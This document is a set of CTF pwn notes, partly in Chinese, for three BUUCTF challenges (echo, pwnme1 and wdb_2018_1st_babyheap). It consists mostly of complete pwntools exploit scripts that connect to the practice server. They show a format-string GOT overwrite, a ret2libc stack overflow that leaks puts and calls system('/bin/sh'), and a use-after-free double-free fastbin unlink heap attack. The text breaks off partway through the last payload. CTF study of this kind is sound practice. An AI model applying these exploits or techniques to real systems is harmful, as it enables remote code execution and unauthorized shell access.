[*] '/root/echo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
偏移:7
改GOT
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="i386"
isLocal=0
filename="/root/echo"
if isLocal:
p=process(filename)#
pause()
else :
p=remote("node4.buuoj.cn",26031)
elf=ELF(filename)
libc=ELF("./x86/libc-2.23_buuctf.so")
printf_got=elf.got["printf"]
system_addr=elf.plt["system"]
payload=fmtstr_payload(7,{
printf_got:system_addr})
p.sendline(payload)
p.interactive()
解法同pwnme2,栈溢出泄露libc方法
注意的点:
整体思路:
from pwn import *;
context.log_level="debug"
context.arch="i386"
context.os="linux"
isLocal=0
libc=ELF("./x86/libc-2.23_buuctf.so")#ELF("/lib/i386-linux-gnu/libc-2.23.so")#
if isLocal:
p=process("/root/pwnme1")#
pause()
else :
p=remote("node4.buuoj.cn",27876)
elf=ELF("/root/pwnme1")
backdoor=0x804869D#0x8048677#
p.sendlineafter("Exit","5")
jmpasm=asm("jmp esp;")
shellcode=asm(shellcraft.sh())
flag_addr=0x08048938
modes_addr=0x08048931
pop_eax=0x08048184
xchg_eax_edx=0x08048189
main_addr=0x08048624#elf.sym["_start"]
printf_plt=elf.plt["puts"]
printf_got=elf.got["puts"]
payload =b"a"*(0xA4+4)+p32(printf_plt)+p32(main_addr)+p32(printf_got)
p.sendlineafter("input",payload)#一个个来不急 慢慢走 一步步来 gets遇到\n才会返回
p.recvuntil("...\n")
leak=u32(p.recv(4))
log.success(hex(leak))
libc_base=leak-libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]
sh_addr=0x804831D
payload =b"a"*(0xA4+4)+p32(system_addr)+p32(main_addr)+p32(sh_addr)
#注意修复ROP的返回地址,无论是x86还是x64,执行system参数可直接传字符串地址
p.sendlineafter("input",payload)
p.interactive()
保护情况:无PIE,got不可写
[*] '/root/wdb_2018_1st_babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
根据大佬WP提示,可以使用
分析发现:
unlink_fakechunk的条件
笔记
在libc-xx.so
文件才有symbols
Unlink解法:
主要的知识点:
本题不是使用通常的堆溢出Unlink,而是用UAF后double free list的方法,修改fastbin地址,创建一个合法的fake chunk导致Unlink
整体思路:
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
isLocal=0
filename="/root/wdb_2018_1st_babyheap"
if isLocal:
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
else :
p=remote("node4.buuoj.cn",26666)
libc=ELF("./x64/libc-2.23_buuctf.so")
elf=ELF(filename)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{
{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
pause()
def malloc(idx,content):
ru("Choice:")
sl('1')
ru("Index:")
sl(str(idx))
ru("Content:")
sd(content)
def edit(idx,content):
ru("Choice:")
sl('2')
ru("Index:")
sl(str(idx))
ru("Content:")
sd(content)
def dump(index):
ru("Choice:")
sl('3')
ru("Index:")
sl(str(index))
def free(index):
ru("Choice:")
sl('4')
ru("Index:")
sl(str(index))
ptr=0x0000000000602060
fd=ptr-0x18
bk=ptr-0x10
#1.构造unlink fake header
malloc(0,p64(0x31)*4)#fixheader
malloc(1,p64(0x31)*4)
malloc(2,p64(0x31)*4)
malloc(3,p64(0x31)*4)
malloc(4,b"/bin/sh\x00\n")
free(1)
free(0)
#2.泄露chunk1地址
dump(0)#leak chunk1 addr
leak_heap_addr=u64(p.recv(4).ljust(8,b"\x00"))#0xnnnn30
log.info("leak heap addr=>{}".format(hex(leak_heap_addr)))
#3.DoubleFreeList任意创建堆地址到指定位置为实现unlink准备
free(1)#double free list 实际是一个任意地址写的作用(a<=>a),修改了a,就修改了申请堆地址.(实现堆溢出堆叠写)
#4.构造fakechunk实现unlink
malloc(5,p64(leak_heap_addr-0x20)+b"\n")#0xnnnn10(DoubleFree后修改了fastbin链表的一个地址)
malloc(6,b"a\n")
malloc(7,b"a\n")#cycle
payload = p64(fd)+p64(bk)+p64